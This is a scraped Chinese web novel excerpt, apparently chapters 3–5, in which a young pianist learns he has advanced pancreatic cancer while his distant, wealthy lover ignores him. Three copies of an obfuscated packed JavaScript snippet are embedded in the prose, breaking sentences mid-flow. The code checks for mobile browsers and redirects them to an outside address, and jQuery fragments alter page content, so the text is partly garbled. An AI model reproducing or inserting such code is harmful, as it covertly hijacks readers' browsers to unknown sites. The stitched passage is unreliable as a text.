电话那头的医师耐心道:“如果存在这类情况的话,要尽快来医院做进一步的影像检查,因为血液检验结果提示有体内存在肿瘤的可能……喂?你在听吗?” “嗯,我知道了,谢谢。” 仍然蜷在被窝里的兰又嘉很快挂掉了电话。 好奇怪的来电,他想。 简直像个选错了剧本的骗子。 讲了一堆他压根不能理解的生硬台词。 医院怎么可能弄错检验报告? 他的身体很健康,最多就是有一点低血糖,是因为最近没什么胃口,只要他好好吃饭,就不会低血糖了……这跟肿瘤有什么关系? 兰又嘉这样想着,裹着被子翻身换了个姿势,想要找回之前被打断的思绪。 可是当他从侧卧变成仰躺的那一刻,却反射性地伸手捂住了肚子。 因为原本已经渐渐习惯的腹部疼痛,陡然间加剧了。 他痛得蹙起眉头,紧接着茫然地眨了眨眼睛。 为什么最近总是肚子疼……或者是胃疼? 局部疼痛。 片刻后,兰又嘉重新捡起刚才丢开的手机,给傅呈钧打电话。 他有一肚子话想跟那个不在身边的恋人说。 他想说刚才接到一个奇怪的骗子电话,想说自己今天好像真的很不舒服,想问傅呈钧可不可以回来陪他。 但他一句话都没能说出来。 因为听筒里只传出一道无法接通的冰冷机械音。 “对不起,你所拔打的电话——” 傅呈钧常常很忙碌。 兰又嘉只好懂事地摁掉了电话。 通话界面消失的那一瞬,他看见自己落在屏幕上的指尖。 白皙修长,纤细得过分,带着一抹连自己都没有察觉到的颤抖。 他好像真的瘦了不少。 还是他记错了? 也许他本来就这么瘦。 快速消瘦。 兰又嘉忽然想起了什么,起身下床,赤着脚跑到了自己的书桌旁,翻开平日用来放重要证件的那个抽屉。 抽屉里除了证件,还有一个绒面的复古小方盒。 盒子中装着傅呈钧在去年初送给他的一枚戒指。 当时他缠着傅呈钧想去傅家老宅看看,结果在那里偶然看到了这个首饰盒,好奇打开后,忍不住惊叹上面镶嵌的钻石颜色很漂亮,男人就随手给他了。 那是一枚蓝色的钻石。 兰又嘉从小到大都喜欢蓝色,各种各样的蓝,与兰同音的蓝。 他一直觉得这枚戒指上的那抹蓝,是自己迄今为止见过最美的蓝。 所以收到礼物后,他舍不得戴,怕不小心弄坏或遗失,就只是放在家里,偶尔拿出来对着日光欣赏,傅呈钧也没说过什么。 而这一刻,兰又嘉有些仓皇地打开盒子,为自己戴上那枚蓝色戒指。 净度极高的蓝钻被细腻白皙的肤色衬得愈发迷人。 仍然很好看。 可当他垂下手指,戒指便一骨碌地重新跌进了盒子里。 原来他真的瘦了很多啊。 瘦得连曾经正好的戒圈尺寸都对不上了。 ……他明明那么喜欢这枚戒指。 他那么喜欢他。 纯净昳丽的艳彩蓝,在阳光下闪烁着冰冷耀眼的光泽。 这天下午,京珠音乐学院钢琴专业的答辩现场。 尚未轮到的学生们在教室外的走廊上等待,三三两两地交谈,紧张或期待。 有人好奇地看向今天异常沉默,却依然是人群焦点的那个青年,问他:“兰又嘉,那是你新买的项链吗?好漂亮。” 立刻有人调侃:“前天还没有呢,昨天过完生日才有的,肯定是男朋友送的生日礼物啦。” “这种戒指造型的吊坠蛮特别哎,我也想买一条了,而且这上面镶的钻好大好闪,是真钻吗?” “怎么可能,要是真的那得多少钱,这可是蓝钻……应该是人造钻石吧,现在人造钻跟真的差不多,而且不算贵。” 身旁的交谈声嘈杂汹涌,兰又嘉一句也没有听进去。 他正垂着头发呆。 视野里是自己微微敞开的外套领口,由一条银链串起的戒圈悬空晃荡,灿蓝戒面依偎着他胸腔深处孤零零的心跳。 “嘉嘉?”有人唤他,“怎么不说话,太紧张了吗?” “不至于吧,那我们还活不活了,他那篇论文写得很牛啊。” “说起来,今天也不冷啊,挺热的,你怎么还套了件长袖?不闷吗?” 又有一道脚步声出来,喊他:“下一位,兰又嘉同学。” 旁人连忙响应:“快去快去,到你了!” 怔然出神的青年这才抬起头,顺从地朝教室里走去。 明亮刺目的白炽灯下,他向老师们问好,播放自己带来的幻灯片。 兰又嘉听见自己的声音在房间里清晰地回荡:那篇关于爵士乐的毕业论文、他曾经为它认真做的所有准备、他对老师提出的每个问题的回答…… 其实他完全不记得自己到底说了些什么。 意识回笼时,空气里正蔓延开一阵温和的掌声。 他还看见台下老师们赞许的目光。 于是兰又嘉鞠躬道谢,转身离开教室。 在动作的一刹那,掩在长袖下的抽血针眼处泛开密密麻麻的疼痛。 那是一块比昨晚范围更大,更骇人的青紫。 旧针眼叠着新针眼,疼得他几乎快要哭出来了。 在接到那个电话之后,兰又嘉去了另一家医院,做了跟昨晚一模一样的抽血检查。 他独自坐在医院长椅上等检验结果出来,然后拿去给医生看。 医生皱着眉,说了跟那通电话里一模一样的话。 紧接着就为他安排了急诊的薄扫,马上就能做。 那大概是一种CT……他从来没听说过这个词。 半小时后,CT结果出来,医生的眉头似乎皱得更紧了。 他让兰又嘉立刻联系家人或朋友过来。 兰又嘉说:“好,等一下,我去打电话。” 接着他一去不回,脚步仓皇地离开了医院,仿佛身后有幽灵在追。 ——他不是故意要撒谎的,是因为答辩马上要开始了。 他得回学校参加答辩,这关系到他的毕业证,不可以缺席。 他要顺利毕业,他还要参加几天后的毕业音乐晚会,他已经想好该弹的曲子了,他明年生日想…… 他还没有得到过最想要的爱。 兰又嘉想,那家医院能弄错一次,这家医院也会弄错第二次。 他不可能会得癌症。 即使手臂上的针眼已痛得发紫,他还是觉得不可靠。 他要再做别的检查。 这次他不要抽血了,也不要什么薄扫,他要做最好的、最准确的检查。 所以还是要去一趟医院,问问医生有什么别的检查可以做,或许得预约,医院里总是有很多患者排着队等待……他要抓紧时间。 兰又嘉在校门口打了车,车子刚启动,就想起了什么似的,迫不及待地拿出手机。 颤抖的指尖惊惶地划过冰凉屏幕。 傅呈钧看到手机消息的时候,正从一间会议室出来,身边是语速极快地做着简报的秘书,一行人步履匆匆,大楼里回荡着皮鞋叩击地面的清脆声音。 手机屏幕上滑过密密麻麻的消息。 【呈钧,你在公司吗?】 【答辩结束了,我好像表现得还不错。】 【我等一下可不可以过来找你?】 傅呈钧的目光扫到这里时,捏了捏眉心,问一旁的秘书:“梁思呢?” “傅总,他去拿文件了,应该马上就会过来——他过来了,梁思!” 正抱着一叠文件朝这里走的助理梁思闻声,当即加快了脚步跑过来。 他刚停下脚步,就听见傅呈钧惜字如金的吩咐:“兰先生等下来公司。” 梁思愣了一下,很快反应过来这是要他接待好兰又嘉的意思,连忙道:“好的傅总,我去楼下接兰先生。” 说话时,他悄悄抬眼打量着面前这位常令人本能产生畏惧感的顶头上司。 男人微微颔首,视线仍停留在手机屏幕上,不知看到了什么,薄凉的唇线勾起一抹似有若无的笑意。 【早上我给你打了电话,但是没有打通……】 【我起床洗漱的时候,发现掉了两根睫毛,有点难过。】 【我是不是变得难看了?】 空气刚刚安静下来,一旁的秘书看了眼手表上的时间,立刻轻声道:“傅总,车在楼下了,和王董约的是下午四点,路上过去预计要三十分钟,和海外那边的临时会议已经在线上了,随时可以开始。” 傅呈钧同样扫了眼时间,随之收回了停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790926|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留在手机上的视线,淡声道:“走吧。” 【你还在忙南非那颗钻石的事吗?】 【昨天忘记问你,它要多久才可以打磨好?切割出的钻石会叫什么名字?】 【好想快点看见它,一定会很美。】 梁思停留在原地,就在要和傅呈钧一行人擦肩而过的时候,忽然开口喊他:“傅总!” 闻声,男人脚步微顿,面无表情地掀眸看他。 梁思的胸口涌起一股不知从哪来的勇气,认真道:“兰先生昨天才进了医院,他——” 他一定很希望能在公司见到心中最重要的爱人,而不是一个被派来专门接待他的助理。 梁思是一时脑热,还没有想好该怎么样得体地向老板传递这个意思。 但他其实也没有把话说完的机会。 有着一半欧洲血统的男人个子很高,足有一米九,眉骨深邃,盛满了光的翳影,正从高处凝眸望过来。 那是极冷的一眼,灰绿眸珠如冰一般。 在极具压迫性的窒息气氛中,梁思霎那间白了脸。 过了好几秒,他才找回自己的声音,慌乱又僵硬地改了口:“对、对不起……傅总。” 他太冲动了。 冲动得忘记了对方是个什么样的人。 锐利、高效、冷酷,那是一种会让身边人心生悚然,却天然为商业而生的财阀特质。 所以才能在仅仅二十八岁的年纪,就从没有任何实权的家族边缘成员,成为了整个集团的亚太区总负责人。 他不需要下属来教自己做任何事。 就在空气近乎凝固的这几秒里,傅呈钧掌心里刚刚熄灭的手机屏幕,又骤然亮起。 没能等到回复的兰又嘉,再次发来了几条新消息。 男人也因此移开了目光,不再理会多嘴的助理。 一道道短促有力的脚步声越来越远,梁思最后听见的是顶头上司冷淡至极的声音。 “不用去接他了。” 【算了,我还是不要去公司烦你了,你肯定在忙。】 【今天晚上回家好不好?】 【我真的很想见你。】 这一晚,傅呈钧没有回来。 他有很多处房产,更有独居的、随时有佣人待命的豪宅。 不来这里也是很正常的事。 在过去这一年里,兰又嘉早就习惯了。 他早就习惯了。 唯独今晚觉得无所适从。 初夏的夜晚竟这么冷。 他有太多话想跟傅呈钧说,有太多不安和惊恐想告诉对方……却没有一个当面倾诉的机会。 等兰又嘉下了车,又进出了一趟医院,黄昏将近,才等到了一条简简单单的回复。 【明天回来。】 没关系,只要等到明天。 或许明天,他就会收到今天那些检查报告都是误诊的好消息。 他在医院预约了最好最贵的检查,叫做PET-CT,是一台很大、很先进的医学机器,能令身体里的异常细胞无处遁形。 这台机器会检查出最好的结果,医生会告诉他:很抱歉,昨天是我们的系统出错了,你拿到的是别人的检查结果,而你的身体很健康,只是有一点低血糖。 不对,低血糖似乎才是别人的检查结果…… 那他的检查结果到底是什么? 反正不可能是跟他毫无关系的癌症。 他一天都没有吃东西,却一点也不觉得饿,分明是身体很好才对—— 在孤独森寒的夜里,在无数混乱颠倒的思绪中,兰又嘉精疲力尽地昏睡过去。 连在睡梦中,掌心都紧攥着恋人送给他的那抹蓝。 像攥着最后的依靠。 翌日上午,兰又嘉听话地遵从护士的每一步指引,直到在检查台上躺好。 四周很安静,安静得像沉在海底。 检查台缓缓升起,将他送进那座雪白恐怖的庞然大物。 隧道般的机器离自己越来越近,这一刻的兰又嘉冷不丁地想,或许他应该早一点把那枚戒指拿出来戴的。 那时要更合衬,不会松松垮垮地掉下来,能毫无保留地展示那颗蓝钻的美丽。 太瘦了其实不好看。 他不想自己变得很难看。 如果……如果这台机器足够好的话,以后他会好好吃饭的。 他一定会的。 他想重新戴上那枚蓝得很美的钻石戒指。 恍惚间,兰又嘉闭上眼睛,惶然地等待命运的审判。 4. 4 “胰体尾部有占位性病变,代谢很活跃……扩散到了胰腺周围的大血管……包括附近的淋巴结,远处其实也有一些转移……” 午后的医院办公室里落满阳光,医生的声音断断续续地飘出窗。 坐在他对面的年轻男生小声问:“胰腺?” “胰腺在腹膜后方,是个消化器官。”医生听到他小心翼翼的语气,在心里叹了口气,放柔了声音,“今天家属过来了吗?” “没有。”他诚实地摇摇头,顺便解释昨天的失约,“昨天下午我赶着回学校参加答辩。” “不叫同学陪你过来做检查吗?或者女朋友?”医生继续翻看着电脑上显示的检查图像,眉头越皱越紧,“你有没有跟父母如实说这件事?他们怎么——” “他们都去世了。” 空气有一瞬的寂静。 说话的年轻人想了想,又补充道:“只剩下我一个人了,对不起,医生。” 于是连见惯了生死的医生都有短暂的无言愕然,难以想象噩运竟如此偏爱眼前的人,接二连三地到来。 “没关系……抱歉啊。” 医生的视线终于从电脑屏幕上移开,心情复杂地望着这位异常年轻的绝症病人。 “是胰腺癌。”他不再做保留,直白地宣布诊断,“已经到了中晚期。” 悬垂在头顶的审判,就这样轻飘飘地落下。 日光灼热强烈,兰又嘉茫然地眨了眨眼,轻声重复着医生的话:“胰腺癌……中晚期?” “对,发现得比较晚,不过这种癌查出来的时候大部分都是晚期了,因为早期几乎没有症状,非常隐蔽。”医生说,“跟其他病人比起来,你的状况其实算是比较好的。” 男生的眼睛霎时亮了一下:“是能够治好吗?” “是你很年轻,体力会好一些,能抗住高强度的用药,所以可以考虑做转化治疗,效果理想的话,或许能达到做手术的条件。” 眼前这个病人显然有不错的家境,所以医生的态度还算乐观:“另外也可以考虑做个基因检测,看看有没有条件用靶向药物,总之要结合你的个人意愿和经济状况,来制定治疗方案。” 医生的声音里仿佛漂浮着希望的颗粒,那双本该明媚的眼睛愈发亮了,再一次问:“如果做手术、用药……是不是就可以彻底治好?” 他似乎想到了什么,急切地告诉医生:“不用担心经济状况,我可以拿来很多钱……很多很多,不用担心钱,医生。” 他有一双漂亮得如珠如钻的眼睛,令人不忍打破此刻那里面晶莹的幻想。 可医生不得不说实话。 “要说彻底治愈可能有些过于乐观,手术风险其实很大,也有失败或复发的可能。” 医生斟酌着说:“针对胰腺癌晚期的病人,我们的治疗目标通常是延长生存时间,同时尽量提高生活质量,钱能帮我们做到的基本就是这些……当然,我们也期待奇迹的发生。” 对于这类病人,金钱已经不再起到决定性的意义。 更重要的是家人的陪伴和慰藉,才能令病人在癌症晚期日渐难熬的痛苦和绝望里,有坚持下去的勇气。 可看着这个连续两日独自来做检查、独自听取绝症诊断的病人,医生没能把这句话说出口。 到这一刻,兰又嘉才真正听懂了医生的话。 这是一种不可能治好的绝症。 除非出现奇迹。 盈满光亮的眼睛霎那间黯淡下去。 在格外冷清的办公室里,医生尽可能鼓励他:“你也不用太悲观,如果积极治疗,其实没有那么糟,不少病人的生活质量都还可以,我有一个病人已经带瘤生存了近十年。” “治疗会不会很疼?”他认真听着,讷讷地问,“是要做化疗吗?我在电视里看过做化疗,会掉头发,看起来很痛苦……” “化疗是其中一种治疗手段,也有其他更温和的治疗方式。” 医生总是温柔又冷冽。 “但副作用或多或少都是存在的,所以我说你的状况算是好的,因为你很年轻,身体素质会比较好,能考虑的治疗方案就多一些。” 是啊,他还很年轻。 他才刚过完二十二岁生日。 因为蛋糕冒出来的红疹都来不及褪尽。 不定时发作的阵痛再度侵袭了柔软的腹部。 年轻的绝症病人微微蜷起了身子,眼眸茫然又湿润。 他安静了好一会儿,最后问:“如果不做化疗,只做那些能让自己没那么痛的治疗,我还可以……可以活多久?” “……通常来说,生存期在半年左右。” 医院候诊区的冷灰色座椅上,有道单薄的身影垂着头,孤零零地坐了很久。 窗外的日光由浓转淡,兰又嘉几乎忘了时间的流逝,怔怔地盯着掌心里那个小小的屏幕。 他像每一个刚得知噩耗的病人一样,听完医生不够动听的诊断,又去仿佛万能的网络上寻找别的希望。 于是他就看到了很多医生没有告诉他的事。 兰又嘉看到网上说胰腺癌是一种恶性程度极高的癌症,很难及时发现,也很难治疗。 它的五年生存率只有5%,这是衡量恶性肿瘤治疗效果的最重要指标。 意思是,在经过各种各样的治疗后,仍然只有百分之五的病人能活过五年,其中已经包括了治疗成功率更高的早期病人。 他能成为5%的奇迹吗? 兰又嘉还看到很多癌症病人充满痛苦与抗争的自述,与患者家属同样煎熬的记录。 他们努力照料自己不幸患癌的父母、孩子、爱人……充满了对失去至亲至爱的恐惧,日夜企盼着奇迹的降临。 所以他想,不能的。 连会为他盼望奇迹的人都不存在。 奇迹从来不喜欢他。 他面色苍白地松开手机的时候,窗外已是大雨如注的黄昏。 夏日的雨水总是来得突然又汹涌,如同始料不及的命运。 兰又嘉没有带伞,他下楼,走出医院大门。 在等车回家的时间里,雨幕下的青年分外安静,抬头望着乌云密布的天空失神,口袋里的钻石戒指串着银链,陪他一道被雨水浸没。 他怔怔地想,自己对未来的一切希冀,好像再一次终结在一场滂沱大雨中。 屋里响起开门声的时候,傅呈钧正在书房。 他刚回到家不久,却没有在卧室里发现那道本该躲在被子里发抖的身影,便去书房处理工作。 这一刻,门开了又关,伴着一道熟悉的脚步声。 可没有响起那道热切地唤他名字的声音。 ——往日里兰又嘉看见玄关处多出的鞋子后,总是会雀跃地喊他,然后径直跑来书房里找他。 今天的兰又嘉却很安静。 连步子都显得迟缓滞涩。 正在看文件的男人怔了怔,下意识望向房门外。 脚步声跌跌撞撞地往浴室的方向去了。 空气里似乎弥漫着一股潮冷的雨水气味。 傅呈钧觉得讶异。 心头蓦然间生出几分不明来由的恐慌。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790927|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 昨天的兰又嘉话语絮絮,满是天真纯粹的依恋,迫不及待要见到他。 今天倒一条消息都没有。 游离的思绪里,纸页上的文字变得散漫不成句。 片刻后,他难得主动放下了手头的工作,起身走出去。 地上绵延着一串带有水痕的脚印。 花洒被打开,浴室里到处是热意蒸腾的水汽。 白皙瘦弱的青年蜷缩在浴缸角落,浑身湿淋淋的,像是被雨浇透了,看上去失魂落魄。 但没有哭,也没有发抖。 身形高大的男人立在门口,居高临下地审视着他,目光里有极淡的好奇。 良久,他问:“不怕下雨天了?” 双臂环抱着自己的青年逐渐被热水包裹,听到声音才后知后觉地抬头望去。 他喃喃地答:“今天不怕了。” “那还一副丢了魂的样子?” 听到傅呈钧这样问,丢了魂一样的青年嘴角微动。 似乎想笑,又或是要哭。 越过朦胧热气,兰又嘉仰起脸注视着那个自己爱了整整三年的男人。 他比初见时更成熟深邃,更高贵锐利,也更捉摸不定。 所以即使只是此刻隔着一间浴室、本该触手可及的距离,竟有遥远如千山万水般的不可逾矩。 兰又嘉用漂亮湿漉的眸子凝视他半晌,才回答那个听上去很像是关心的问题,声音轻而平静。 “你亲我一下,我就告诉你原因。” 而话音落地的瞬间,男人灰绿色的剔透眸珠里泛开一抹清晰的笑意。 他又在撒娇,傅呈钧想。 从昨天开始渐渐积淀在傅呈钧心头的微妙异样感,被那个脆弱又迷人的眼神顷刻点燃焚尽,化作了忽然浓烈的欲望。 他看得很清楚,那片清凌凌的眸光,分明是在讨要比一个吻更珍贵的东西。 男人这样想着,低笑一声,走进了浴室。 水流打湿了那身一丝不苟的昂贵衬衣,早就湿透的外套也从另一个人身上被剥去,空气里渐渐飘扬起轻盈易碎的雪白泡沫。 “呈钧,我今天不想做。” “为什么?” “怕疼。” “又是这个理由?” “可我真的怕疼,从小就怕,今天更怕了。” “你一点也不像怕疼的人。” 所以傅呈钧没有听他的话,只是不动声色地放轻了力道。 兰又嘉身上有一种没心没肺的东西。 仿佛只要给他一点爱,就能彻底忘却前一刻的伤害。 这样的人,怎么会怕疼? “那关灯好不好?”仍然将自己紧缩成一团的人小声祈求,“呈钧,把灯关掉……求你了。” 灯光终于施舍般应允,骤然熄灭。 从浴室到卧室,周遭只剩窗外映入的淡淡月光,什么也看不真切。 看不清身旁恋人眼底的情绪,也看不清自己手肘内侧大片残留的青紫。 这样就很好,兰又嘉昏昏沉沉地想。 他默默忍受着疼痛,决定不告诉傅呈钧那个原因了。 再也不。 因为再多的钱对绝症都没了意义,而真正有意义的关怀和陪伴,是眼前人唯独给不了他的东西。 也因为一贯高高在上的爱人今天格外慷慨,主动挥霍着分秒千金的时间,帮他洗澡,为他擦干头发,把他抱上床……直到他精疲力尽地睡去。 却没有给他哪怕一个吻。 自始至终,傅呈钧都故意没有亲他。 5. 5 兰又嘉在一阵痉挛般的剧痛中惊醒过来。 日色透过纱帘渗入房间,空气中漂浮着幽蓝的清晨气息,他呻吟着睁开眼睛,淡粉的唇骤然被咬得发了白。 铺天盖地的疼痛如潮水般淹没了他。 腹部、后背、腰……甚至心脏,身体的每一处角落好像都在疼。 好疼。 太疼了。 他得吃药……止痛药! 颤抖的指尖松开被攥到发皱的被子,兰又嘉跌跌撞撞地奔下床,踉跄着踩过冰冷地板,去找药。 他的止痛药放在哪里了? 桌上没有,药箱里没有,这个抽屉也没有…… 在大床另一侧熟睡的男人,被惊动醒来时,看见的就是这样一道几近凄惶的背影。 身形瘦削的青年跪坐在地板上,旁边的一排抽屉被翻得一片凌乱,直到终于在角落深处摸到一个半绿半白的盒子,才松了口气。 兰又嘉动作仓皇地拆开这个被压得半扁的药盒,从里面倒出一板吃了一半的白色药片,正要扯开铝箔板取药,手腕忽然被人握住了。 “在找什么?” 穿着睡袍的傅呈钧不知什么时候走到了他身后,俯身下来时,极具压迫感的高大身影便完全笼罩了他。 男人的眸光淡淡扫过那个有些泛黄的药盒,印有产品日期的那一面恰好朝着他。 “过期了。” 是一盒已经过期的阿司匹林。 他轻而易举地拿走了兰又嘉紧攥着的药盒,随手放在一旁的陈列柜上,沉声问:“为什么吃这个?” 从傅呈钧说了过期那两个字起,原本疼得浑身颤栗的青年陡然僵住,怔怔地望着他,睫羽湿濡,眸光里渐渐蓄起碎裂的晶莹。 仿佛刚从一场绵延太久的美梦中惊醒。 他失了神,没有回答傅呈钧的问题。 而一贯讲求效率,厌恶浪费与停顿的男人,竟也格外耐心地等待着。 两人间高低错落的光影中,盛满了静谧荒芜的空气。 半晌,傅呈钧才听见他极轻的声音。 “因为疼……很疼。”兰又嘉整个人都被冷汗打湿,脸色白得吓人,“我很久都没有这么疼了。” 自从他搬进这个家,与眼前的恋人同居开始,就再也没有吃过阿司匹林。 可如今,这份自欺欺人的爱情终于过期。 他又要开始重新依赖止痛药了。 傅呈钧没有听清那后半句呓语般的呢喃,眉峰微蹙:“因为昨晚?” 他不觉得昨晚的性.事能让兰又嘉疼成这样。 “不是。” 这次兰又嘉很快回答了。 明明疼得连额前碎发都汗津津的,他的声音却坦诚又认真:“你已经很温柔了。” 与平日里高高在上的漠然锐利不同,傅呈钧在床笫之间其实称得上体贴温柔,仿佛满含情意。 他不是个合格的恋人,却是个很好的情人。 傅呈钧便有顷刻间的沉默。 他看着眼前疼得面色苍白,澄净眸子却闪动着隐约笑意的青年,一时间竟分辨不出心头突然漫过的那阵钝痛,究竟意味着什么。 ——大约是觉得怜惜。 这一刻孤零零跌坐在地上的兰又嘉,看起来实在很可怜。 男人宽大有力的掌心穿过空气,贴上他的额头。 下一秒,兰又嘉就被抱了起来。 “发烧了。”头顶传来的磁性嗓音似乎带着叹息,“昨天为什么淋雨?” “因为……” 这个姿势令兰又嘉清晰地听见了男人胸腔深处搏动的心跳声,极近又极远。 他想了好一会儿,才说:“因为没有带伞。” 傅呈钧拦腰抱起他,大步往浴室走去:“怎么不让司机来接?” 因为他原本希望那些与医院有关的经历只是一场虚惊,他的身体没有任何问题,司机也就不用向傅呈钧报告他在过敏之后又频繁出入医院,免得白担心一场。 可现在的兰又嘉已经明白,自己才是在白担心。 即使这段对话听起来像极了恋人对他的在乎……但也只是像而已。 因此他潦草回答:“忘记了,对不起。” 果然,下一秒,兰又嘉听见对方平静如常的声音:“我让人送药来,吃了以后在家休息,早点退烧,否则我叫医生来看你。” 他条件反射般急声道:“不要!” 傅呈钧知道他不喜欢看私人医生。 所以对这意料之中的抗拒,男人面色不改,仿佛在做一桩稳操胜券的交易:“那就照顾好自己的身体,别再有下次。” 不会有了,兰又嘉想,不会再有下次的。 爱不应该是条款清晰、界限分明的威胁与惩罚。 从人生被迫开始倒计时的那一刻起,他就再也没办法像过去那样若无其事地欺骗自己了。 傅呈钧是真的不再爱他了。 他早该承认这件事。 目光湿润的病人疲惫地眨了眨眼睛,似乎已倦于开口,轻轻应了一声:“嗯。” 兰又嘉任由男人将自己放在洗漱台上,打湿一块毛巾,屈尊纡贵地替他洗脸,擦去满头汗水。 剧烈的疼痛在淡去,身体的颤抖也逐渐平息。 可一贯爱说话的人,此刻却只是安静地盯着墙上的镜子发呆。 安静到连傅呈钧都觉得诧异。 他出神地看着镜子里的自己,身旁距离亲密的男人则看着他。 正绞干毛巾替他擦脸的人忽然问:“在检查睫毛?” 傅呈钧鲜少这样照顾人,动作不算太小心,就有一根纤长的睫毛跌落下来,划过白皙面颊,飘然佚失在空气里。 兰又嘉前天还给他发消息,絮絮叨叨地可惜着洗漱时掉下的睫毛。 闻言,被雨淋到发烧的病人像是笑了一下:“没有,不重要了。” 傅呈钧的动作顿了顿,心头掠过一丝难以形容的感受。 “那还照这么久镜子?” “我在看自己有没有变丑。” “病好了就不丑。” “嗯,知道了。” 但他的病再也不会好了。 所以在无可挽回的末日面前,就算是他曾经执着追求过的男人,也变得像悄悄掉落的睫毛一样,不再重要。 傅呈钧终于意识到了某种异样。 从今天醒来开始,兰又嘉的状态就和平时很不一样。 看起来不仅仅是因为生病的难受。 苍白、忧悒、寡言……与往日的热烈明媚截然不同。 几乎像是变了一个人。 傅呈钧蓦地停下了手中的动作,灰绿眼眸中波澜涌动,定定地审视着眼前的人:“你——” 他没能说完,因为兰又嘉也在同一时间开口,语调很平常:“呈钧,你下周六晚上有空吗?” “下周六?” “对,那天是毕业晚会,我有弹钢琴的节目,也是主持人。”他说,“我想好好纪念那一天……你有时间来看吗?” 说完后,兰又嘉迟疑了一下,又小声补充道:“我很希望你能来。” 他没有家人,没有好友,只有一个不再爱他的恋人。 他知道自己将会变得越来越憔悴和难看,往后的每一日,都是他余生里最体面好看的一日。 所以那天就是兰又嘉生命里最后一个能光彩熠熠站在舞台上的机会了。 他渴望被看见。 这是他想强求傅呈钧为他做的最后一件事。 即使不以爱的名义。 话音未落,残留着热水余温的毛巾就被丢进了水池。 男人原本尚算柔和的目光,在听见“纪念”二字的时候,霎那间冷了下来。 兰又嘉并没有变,还是在做着和生日那天一样的事。 ……或许,也有一些微小的改变。 他没有因为傅呈钧显而易见的态度退缩,反倒柔软又固执地坚持着:“如果你已经有其他安排,可不可以为我腾出一点时间?对我来说,那一天真的很重要,我不想一个人度过。” 回应他的是勉强压抑着怒气的沉郁嗓音。 “兰又嘉,适可而止。” 被连名带姓喊到的青年浑然不觉那份冷意,甚至露出一个浅浅的、令人不忍拒绝的微笑:“对不起,可能为难你了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790928|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天你可以来吗?呈钧。” 不再胡乱奢望的时候,许多事都会变得清晰。 傅呈钧讨厌过纪念日,讨厌陪恋人过生日,他讨厌那些寻常情侣会喜欢的故地重游、旧日重现……他讨厌一切专门用来强调爱意与往昔的纪念方式。 兰又嘉并不知道原因。 不过,已经没关系了。 明年不会再有人非要和他一起度过情人节与生日了,更不会执着地想通过这种方式来证明爱意。 至少,那个人不会再是他。 最后一次满含期待的邀请停泊在空气里,到了也无人回应。 温情脉脉的生病照料戛然而止,傅呈钧没再跟他说一句话,顾自洗漱穿衣,冷着脸出了门。 离开家去公司的时候,他始终没有回头看,仿佛这样就能按下心间因这个怪异的早晨而泛起的复杂波澜。 被抛在原地的兰又嘉则望着他的背影,发了一会儿呆。 他静静地想,昨晚的自己,好像又做了一件多余的事。 不必让傅呈钧关灯的。 因为在日光灿烂的清晨,那双氤氲着怒意的异色眸子瞥见他白皙手臂上骇人的青紫时,仍旧一言不发。 什么也没有问。 片刻后,门铃响起,兰又嘉从傅呈钧的某位助理手中接过药品袋子,和一份热粥。 “兰先生,您是感冒了吗?我买了几种药,还打包了一碗粥,您先吃点东西再吃药……” 不是生日时送他去医院的那位梁助。 他有点想不起来眼前这位助理姓什么了。 但无所谓了。 兰又嘉接过东西,礼貌地说了谢谢,随便吃下几粒退烧药,就独自出了门。 他得去买止痛药。 比阿司匹林更强效的止痛药。 曾经缠绕着他的大约算是一种心因性的疼痛,会不时发作,也会在很长一段时间里都保持沉寂。 可往后陪伴着他的,却是一种再也不会离开他的疼痛。 癌痛。 兰又嘉回到了昨天那家医院,给他下了癌症诊断的医生今天不出诊,另一位医生在确认诊疗记录后,帮他开了阿片类止痛药的处方。 临走前,那位初次见面的陌生医生郑重地告诉他:“一定要积极治疗,你还年轻,能好起来的。” 他去药房取药,年长他许多的药剂师接过处方,瞥见那行临床诊断时,她多看了他几眼,目光中有淡淡的讶异和叹息。 接着,和止痛药一起递来的,是陌生药剂师温和简短的鼓励:“加油啊,早日康复。” 他挨个向这些陌生的好心人道过谢,走出医院时,明亮的日光刺进视野,下意识伸手去挡。 下一秒,兰又嘉站在人来人往的街头,望着刺目光线漫过张开的纤瘦手指,一时间竟觉得茫然无措,不知道该往哪里去了。 从得知这种癌症无法彻底治好的那一刻起,他就不想做化疗了,不想在病痛之外,再额外承受治病的痛苦。 他是真的很怕疼。 尤其害怕这种要孤身一人面对的疼痛。 可每个人都说他很年轻,劝他要好好治病,争取早日康复。 一旦执意选择放弃治疗,就像是做了件天大的错事。 他同样害怕做错事。 如果……如果这时候能有一个人,告诉他该怎么做就好了。 出门前吃的退烧药已经生效,额头的热度有所消退,身体里的疼痛也暂时偃旗息鼓,不算很难受。 